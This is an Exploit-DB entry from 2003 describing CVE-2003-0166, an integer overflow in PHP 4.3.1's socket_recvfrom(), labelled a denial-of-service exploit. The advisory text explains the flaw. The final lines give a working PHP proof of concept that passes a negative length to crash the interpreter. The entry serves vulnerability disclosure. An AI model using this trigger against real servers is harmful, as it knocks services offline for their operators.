PHP 4.x socket_recvfrom Signed Integer Memory Corruption Vulnerability

2003-03-26T00:00:00
ID EDB-ID:22426
Type exploitdb
Reporter Sir Mordred
Modified 2003-03-26T00:00:00

Description

PHP 4.x socket_recvfrom() Signed Integer Memory Corruption Vulnerability. CVE-2003-0166 . Dos exploit for php platform

                                        
                                            source: http://www.securityfocus.com/bid/7198/info

A vulnerability has been reported in PHP versions 4.3.1 and earlier. The problem occurs in the socket_recvfrom() and may allow an attacker to corrupt memory. Specifically, the affected function fails to carry out sanity checks on user-supplied argument values, making it prone to an integer overflow.

This may make it possible for an attacker to trigger a denial of service. Although it has not been confirmed, it may also be possible to exploit this issue to execute arbitrary code.

It should be noted that socket functionality is only included in PHP if compiled with the "--enable-sockets" option.

<?php
$buf = "";
$name = "";
socket_recvfrom(socket_create(AF_INET, SOCK_STREAM, 0), $buf, -3, 0,
$name);
?>